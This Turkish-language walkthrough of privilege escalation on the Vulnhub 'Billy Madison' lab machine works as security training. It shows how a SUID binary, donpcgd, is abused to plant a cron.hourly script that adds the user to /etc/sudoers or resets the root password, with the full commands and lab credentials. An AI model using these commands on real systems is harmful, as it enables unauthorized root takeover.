Yazıda kullanılan Billy Madison sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/billy-madison-11,161/
İşletim sisteminin komut satırına erişim için bir takım arka kapılar kullanılarak 1974 portu açılır ve aşağıdaki kimlik bilgileri ile kullanılabilir.
Kullanıcı Adı: eric
Parola: triscuit*
Linux işletim sistemine bu kullanıcı (eric) ile oturum açıldığında, standart yetkilerle erişime sahip olunduğu görülmektedir.
id
head -3 /etc/passwd
head -3 /etc/shadow
İşletim sistemindeki dosyalar incelendiğinde, “donpcgd” dosyasının/aracının çalıştırılabilir bir dosya olduğu, SUID ve GUID bitletinin etkin olduğu görülmektedir.
file /usr/local/share/sgml/donpcgd
ls -la /usr/local/share/sgml/donpcgd
Araç çalıştırıldığında, parametre olarak 2 adet dosya istediği görülmektedir.
/usr/local/share/sgml/donpcgd
Araçla ilgili ayrıntılı bilgi için bakınız:
https://blogs.akamai.com/2016/01/delegate-v9913-setuid-binary-vulnerability.html
Bu araç kullanılarak; 2 dosyadan birincisi oluşturulur ve ikinci dosya olarak da herhangi bir dizinde – standart kullanıcı hakları ile yazılabilir olmayan bir dizin (“/etc/” gibi) de olabilir – rastgele bir dosya adı verilebilmektedir.
echo “Deneme dosyasidir.” > /tmp/birinciDosya
ls -la /tmp/birinciDosya
/usr/local/share/sgml/donpcgd /tmp/birinciDosya /etc/ikinciDosya
ls -la /etc/ikinciDosya
file /etc/ikinciDosya
cat /tmp/birinciDosya
cat /etc/ikinciDosya
Yukarıda da görüldüğü gibi, ilk dosyanın içi boşaltılarak ikinci dosya aracı çalıştıran kullanıcı yetkileri (bu örnek için “eric”) ile oluşturulmaktadır.
Ayrıca ikinci parametrede belirtilen dosyanın mevcudiyeti de kontrol edildiği görülmektedir.
/usr/local/share/sgml/donpcgd /tmp/birinciDosya /etc/ikinciDosya
Not: Dosyanın içi silinmese ve ikinci dosyanın mevcudiyeti kontrol edilmese idi; /etc/passwd dosyasının içerisine bilinen bir parola özeti yazılarak (örneğin; root kullanıcısına yeni bir parola verilmesi sağlanarak) hak yükseltme kolay bir şekilde gerçekleştirilebilirdi.
Özetle; “donpcgd” aracı sayesinde normalde yazma yetkisi olmayan bir klasörün içerisine yetkileri ayarlanabilecek (sahibi oluşturan kullanıcı olacak, yetki alınıp/verilebilecek) şekilde mevcutta olmayan bir dosya oluşturulabilmektedir. Bu zafiyetin istismarı için zamanlanmış görevler hilesi kullanılabilir. Yani; hak yükseltme saldırısı gerçekleştirmek için zamanlanmış görevlere yeni bir görev eklenebilir. Bu amaçla bir dosya hazırlanır ve “donpcgd” aracına bu dosya ilk parametre olarak verilir. İkinci parametre de /etc/cron.hourly/ dizininde herhangi bir dosya ismi verilir. Böylece /etc/cron.hourly/ dizininde bulunan dosyanın saatte bir çalıştırılması sağlanacaktır. Bu amaçla ikinci dosya çalıştırılabilir hale getirilir ve içerisine “root” yetkisi ile çalıştırılması istenen komut/betik yazılır.
touch /tmp/deneme
/usr/local/share/sgml/donpcgd /tmp/deneme /etc/cron.hourly/hakYukseltmeBetigi
echo -e ‘#!/bin/bash\necho “eric ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers’ > /etc/cron.hourly/hakYukseltmeBetigi
chmod +x /etc/cron.hourly/hakYukseltmeBetigi
cat /etc/cron.hourly/hakYukseltmeBetigi
Yukarıdaki satırda “eric” kullanıcısına “root” gibi her komutu çalıştırabilme yetkisi verilmiştir. Bunun yerine aşağıdaki ifade yazılarak “root” parolası da sıfırlanabilirdir.
echo -e ‘#!/bin/bash\necho -e “YeniParola” | passwd root’ > /etc/cron.hourly/hakYukseltmeBetigi2
Not: Bu sanal makinede denenen parola değiştirme yöntemlerinden sadece 3.sünün çalıştığı görülmüştür.
#!/bin/bash
# echo -e “Parola1\nParola1” | passwd root
# echo “Parola2” | passwd –stdin root
echo “root:Parola3” | chpasswd
Bu işlemler ile vakit geldiğinde “/etc/cron.hourly/” dizini altındaki betik (“hakYukseltmeBetigi”) çalışacaktır. Zamanlanmış görev çalışmadan önceki mevcut durumda “sudo” yetkisinin olmadığı görülmektedir.
date
sudo su –
Zamanlanmış görev çalıştığında hak yükseltme betiğinin çalıştığı ve kullanıcının “/etc/sudoers” dosyasına kaydedildiği görülmektedir.
date
sudo su –
id
head -3 /etc/shadow
tail -5 /etc/sudoers
Kaynak:
https://g0blin.co.uk/billy-madison-1-vulnhub-writeup/#checking-out-the-capture
https://m4ng0n3l.github.io/articles/2016-09/vulnhub-billy-madison